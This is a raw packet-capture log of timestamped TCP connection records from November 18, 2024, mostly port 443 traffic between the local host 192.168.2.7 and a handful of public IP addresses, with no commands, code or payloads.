Nov 18, 2024 08:55:28.811832905 CET	49760	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.811973095 CET	49760	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.811985970 CET	443	49760	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.812803030 CET	443	49753	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.812900066 CET	443	49753	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.812959909 CET	49753	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.813143969 CET	49753	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.813143969 CET	49753	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.813168049 CET	443	49753	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.813178062 CET	443	49753	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.815937042 CET	49761	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.815984011 CET	443	49761	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.816127062 CET	49761	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.816324949 CET	49761	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.816339970 CET	443	49761	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.878046989 CET	443	49754	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.878114939 CET	443	49754	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.878197908 CET	49754	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.878442049 CET	49754	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.878448963 CET	443	49754	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.878458023 CET	49754	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.878460884 CET	443	49754	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.882030964 CET	49762	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.882041931 CET	443	49762	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.882148981 CET	49762	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.882308006 CET	49762	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.882320881 CET	443	49762	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.923821926 CET	443	49755	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.923914909 CET	443	49755	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.924034119 CET	49755	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.924335003 CET	49755	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.924335003 CET	49755	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.924361944 CET	443	49755	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.924384117 CET	443	49755	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.927851915 CET	49763	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.927900076 CET	443	49763	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:28.928015947 CET	49763	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.928224087 CET	49763	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:28.928240061 CET	443	49763	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.435709953 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:29.435806036 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:29.501266956 CET	443	49759	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.502119064 CET	49759	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:29.502144098 CET	443	49759	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.502631903 CET	49759	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:29.502640009 CET	443	49759	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.536643982 CET	443	49760	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.537457943 CET	49760	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:29.537472010 CET	443	49760	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.537951946 CET	49760	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:29.537955999 CET	443	49760	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.562028885 CET	443	49761	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.562757015 CET	49761	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:29.562787056 CET	443	49761	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.563173056 CET	49761	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:29.563179016 CET	443	49761	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.609494925 CET	443	49762	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.610707045 CET	49762	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:29.610717058 CET	443	49762	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.611234903 CET	49762	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:29.611239910 CET	443	49762	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.630630016 CET	443	49759	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.630707026 CET	443	49759	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.630829096 CET	49759	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:29.631166935 CET	49759	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:29.631192923 CET	443	49759	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.631206989 CET	49759	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:29.631215096 CET	443	49759	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.636413097 CET	49765	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:29.636444092 CET	443	49765	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.637494087 CET	49765	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:29.637494087 CET	49765	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:29.637523890 CET	443	49765	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.657486916 CET	443	49763	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.658179045 CET	49763	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:29.658200979 CET	443	49763	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.658704996 CET	49763	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:29.658710957 CET	443	49763	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.664448023 CET	443	49760	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.664527893 CET	443	49760	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.664629936 CET	49760	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:29.664908886 CET	49760	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:29.664917946 CET	443	49760	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.664928913 CET	49760	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:29.664933920 CET	443	49760	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.668602943 CET	49766	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:29.668616056 CET	443	49766	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.668715000 CET	49766	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:29.668931007 CET	49766	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:29.668943882 CET	443	49766	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.694392920 CET	443	49761	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.694669008 CET	443	49761	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.694760084 CET	49761	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:29.694797039 CET	49761	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:29.694814920 CET	443	49761	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.694827080 CET	49761	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:29.694833994 CET	443	49761	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.703722000 CET	49767	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:29.703732967 CET	443	49767	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.703850985 CET	49767	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:29.705689907 CET	49767	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:29.705703974 CET	443	49767	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.745316982 CET	443	49762	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.745376110 CET	443	49762	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.745455980 CET	49762	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:29.745925903 CET	49762	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:29.745939016 CET	443	49762	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.745965004 CET	49762	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:29.745970011 CET	443	49762	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.750103951 CET	49769	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:29.750140905 CET	443	49769	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.750291109 CET	49769	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:29.750426054 CET	49769	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:29.750449896 CET	443	49769	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.787024975 CET	443	49763	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.787146091 CET	443	49763	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.787350893 CET	49763	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:29.787399054 CET	49763	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:29.787414074 CET	443	49763	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.787422895 CET	49763	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:29.787427902 CET	443	49763	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.791105986 CET	49770	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:29.791130066 CET	443	49770	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.791248083 CET	49770	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:29.791445017 CET	49770	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:29.791457891 CET	443	49770	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:29.914633989 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:29.914652109 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:29.914716005 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:29.914906025 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:29.914920092 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:30.365581036 CET	443	49765	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.367336035 CET	49765	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:30.367360115 CET	443	49765	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.368470907 CET	49765	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:30.368477106 CET	443	49765	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.397655010 CET	443	49766	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.398396969 CET	49766	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:30.398411036 CET	443	49766	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.399063110 CET	49766	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:30.399068117 CET	443	49766	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.431767941 CET	443	49767	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.436594963 CET	49767	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:30.436616898 CET	443	49767	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.439332008 CET	49767	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:30.439337015 CET	443	49767	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.481389046 CET	443	49769	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.482614040 CET	49769	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:30.482635975 CET	443	49769	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.483608961 CET	49769	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:30.483614922 CET	443	49769	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.494523048 CET	443	49765	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.494764090 CET	443	49765	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.494858980 CET	49765	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:30.495107889 CET	49765	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:30.495107889 CET	49765	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:30.495124102 CET	443	49765	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.495132923 CET	443	49765	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.498352051 CET	49773	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:30.498433113 CET	443	49773	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.498526096 CET	49773	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:30.498673916 CET	49773	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:30.498692989 CET	443	49773	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.516498089 CET	443	49770	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.519629955 CET	49770	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:30.519645929 CET	443	49770	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.520133018 CET	49770	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:30.520138979 CET	443	49770	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.526411057 CET	443	49766	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.526501894 CET	443	49766	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.526582003 CET	49766	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:30.526865005 CET	49766	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:30.526871920 CET	443	49766	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.526878119 CET	49766	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:30.526881933 CET	443	49766	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.529856920 CET	49774	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:30.529891014 CET	443	49774	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.529959917 CET	49774	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:30.530112982 CET	49774	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:30.530127048 CET	443	49774	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.565212011 CET	443	49767	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.565330982 CET	443	49767	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.565423965 CET	49767	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:30.565781116 CET	49767	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:30.565804958 CET	443	49767	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.565824986 CET	49767	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:30.565831900 CET	443	49767	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.570082903 CET	49775	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:30.570127964 CET	443	49775	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.570198059 CET	49775	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:30.570374012 CET	49775	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:30.570389986 CET	443	49775	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.611529112 CET	443	49769	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.611670017 CET	443	49769	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.611763954 CET	49769	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:30.612030029 CET	49769	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:30.612066984 CET	443	49769	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.612076044 CET	49769	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:30.612086058 CET	443	49769	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.615216017 CET	49776	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:30.615240097 CET	443	49776	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.615343094 CET	49776	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:30.615742922 CET	49776	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:30.615763903 CET	443	49776	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.648062944 CET	443	49770	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.648129940 CET	443	49770	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.648241043 CET	49770	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:30.648638010 CET	49770	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:30.648650885 CET	443	49770	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.648662090 CET	49770	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:30.648667097 CET	443	49770	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.653938055 CET	49777	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:30.653961897 CET	443	49777	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.654069901 CET	49777	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:30.661861897 CET	49777	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:30.661880016 CET	443	49777	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:30.728878021 CET	49778	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:30.728935957 CET	443	49778	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:30.729033947 CET	49778	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:30.729602098 CET	49778	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:30.729614019 CET	443	49778	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:30.762742043 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:30.763165951 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:30.763175964 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:30.764113903 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:30.764183044 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:30.765491962 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:30.765542984 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:30.765708923 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:30.765713930 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:30.820606947 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:30.911952972 CET	49779	443	192.168.2.7	142.250.185.206
Nov 18, 2024 08:55:30.912003040 CET	443	49779	142.250.185.206	192.168.2.7
Nov 18, 2024 08:55:30.912075043 CET	49779	443	192.168.2.7	142.250.185.206
Nov 18, 2024 08:55:30.912329912 CET	49779	443	192.168.2.7	142.250.185.206
Nov 18, 2024 08:55:30.912342072 CET	443	49779	142.250.185.206	192.168.2.7
Nov 18, 2024 08:55:31.008742094 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.008779049 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.008812904 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.008825064 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.008833885 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.008878946 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.008919001 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.009246111 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.009285927 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.009290934 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.017384052 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.017497063 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.017502069 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.070719957 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.070724964 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.117620945 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.123589993 CET	49781	443	192.168.2.7	184.28.90.27
Nov 18, 2024 08:55:31.123622894 CET	443	49781	184.28.90.27	192.168.2.7
Nov 18, 2024 08:55:31.123711109 CET	49781	443	192.168.2.7	184.28.90.27
Nov 18, 2024 08:55:31.125442028 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.125495911 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.125525951 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.125535011 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.125894070 CET	49781	443	192.168.2.7	184.28.90.27
Nov 18, 2024 08:55:31.125905037 CET	443	49781	184.28.90.27	192.168.2.7
Nov 18, 2024 08:55:31.127984047 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.128061056 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.128067017 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.132324934 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.132379055 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.132384062 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.140974045 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.141022921 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.141027927 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.149775028 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.149831057 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.149840117 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.158520937 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.158586979 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.158596039 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.167184114 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.167223930 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.167228937 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.175770998 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.175837994 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.175843954 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.189364910 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.189413071 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.189415932 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.235259056 CET	443	49773	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.235934973 CET	49773	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:31.235951900 CET	443	49773	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.236413956 CET	49773	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:31.236419916 CET	443	49773	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.243736029 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.243772030 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.243833065 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.243839025 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.243844986 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.243885040 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.243889093 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.244196892 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.244240046 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.244246006 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.244744062 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.244791031 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.244796991 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.247376919 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.247422934 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.247435093 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.250492096 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.250541925 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.250547886 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.257323027 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.257379055 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.257385015 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.263242006 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.263274908 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.263290882 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.263297081 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.263326883 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.263744116 CET	443	49774	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.264199018 CET	49774	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:31.264223099 CET	443	49774	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.264642000 CET	49774	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:31.264652014 CET	443	49774	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.269262075 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.275607109 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.275634050 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.275656939 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.275660992 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.275696039 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.281368017 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.287431002 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.287460089 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.287483931 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.287488937 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.287527084 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.293417931 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.299411058 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.299439907 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.299566031 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.299575090 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.299617052 CET	49772	443	192.168.2.7	142.250.185.174
